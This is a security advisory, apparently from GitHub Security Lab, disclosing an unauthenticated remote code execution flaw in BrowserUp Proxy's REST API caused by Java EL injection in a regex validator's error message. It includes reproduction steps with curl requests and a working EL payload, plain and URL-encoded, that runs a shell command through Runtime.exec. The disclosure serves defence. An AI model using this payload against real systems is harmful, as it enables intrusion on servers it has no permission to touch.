A Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to an unauthenticated Remote Code Execution (RCE) vulnerability.
BrowserUp Proxy
latest commit to the date of testing: 10147c3
It is possible to run arbitrary code on the machine running the BrowserUp Proxy by injecting arbitrary Java Expression Language (EL) expressions.
BrowserUp Proxy uses Java Bean Validation (JSR 380) custom constraint validators such as PatternConstraint
. When building custom constraint violation error messages, it is important to understand that they support different types of interpolation, including Java EL expressions. Therefore if an attacker can inject arbitrary data in the error message template passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate()
, they will be able to run arbitrary Java code. Unfortunately, it is common that validated (and therefore, normally untrusted) bean properties flow into the custom error message. In this case PatternConstraint
validates attacker controlled strings which are included in the custom constraint error validation message:
public boolean isValid(String value, ConstraintValidatorContext context) {
if (StringUtils.isEmpty(value)) {
return true;
}
try {
Pattern.compile(value);
return true;
} catch (Exception ex) {
String errorMessage = String.format("URL parameter '%s' is not a valid regexp", value);
LOG.warn(errorMessage);
context.buildConstraintViolationWithTemplate(errorMessage).addConstraintViolation();
}
return false;
}
This vulnerability affects the REST API which is run in the standalone mode. The following are some of the entrypoints an attacker could use to supply an attack payload:
/proxy/{port}/har/entries?=urlPattern=<payload>
/proxy/{port}/har/entries/assertResponseTimeLessThanOrEqual?=urlPattern=<payload>
/proxy/{port}/har/mostRecentEntry?=urlPattern=<payload>
The default configuration properties for the REST API allows unauthenticated access and binds the server to 0.0.0.0:
proxyUsername
- String, The username to use to authenticate with the chained proxy. Optional, default to null.
proxyPassword
- String, The password to use to authenticate with the chained proxy. Optional, default to null.
trustAllServers
- Boolean. True, Disables verification of all upstream servers' SSL certificates. All upstream servers will be trusted, even if they do not present valid certificates signed by certification authorities in the JDK's trust store. Optional, default to "false".
bindAddress
- String, If running BrowserUp Proxy in a multi-homed environment, specify a desired bind address. Optional, default to "0.0.0.0".
In order to reproduce this vulnerability you can use the following steps:
$> ./browserup-proxy -port 8080`
In a real attack scenario the proxy would be started by the victim while running tests or for other purposes. Note that the proxy is bound to all interfaces by default so an attacker could reach the test server if it is exposed
$> netstat -p tcp -van | grep LISTEN
tcp46 0 0 *.8081 *.* LISTEN 131072 131072 91783 0 0x0100 0x00000006
tcp46 0 0 *.8080 *.* LISTEN 131072 131072 91783 0 0x0000 0x00000006
...
$> curl -X POST http://localhost:8080/proxy
{"port":8081}
Again, in an attack scenario, the proxy would already be started. If that is not the case, an attacker can start a new proxy since this action requires no authentication.
$> curl -X PUT http://localhost:8080/proxy/8081/har
${1+1}
)$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=foo%24%7B1%2B1%7D\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'foo2(' is not a valid regexp"]}]}
To run arbitrary commands try the following payload:
${''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("touch /tmp/test")')}
$> curl -X GET http://localhost:8080/proxy/8081/har/entries\?urlPattern=%24%7b%27%27%2e%63%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%27%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%29%2e%67%65%74%45%6e%67%69%6e%65%42%79%4e%61%6d%65%28%27%6a%73%27%29%2e%65%76%61%6c%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%74%65%73%74%22%29%27%29%7d\(
{"errors":[{"name":"urlPattern","errors":["URL parameter 'java.lang.UNIXProcess@4cc4c20f(' is not a valid regexp"]}]}%
The java.lang.UNIXProcess@583d3ad2
part proves that the process was run, and a filed called test
will be written to /tmp
This issue leads to Remote Code execution
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-213
in any communication regarding this issue.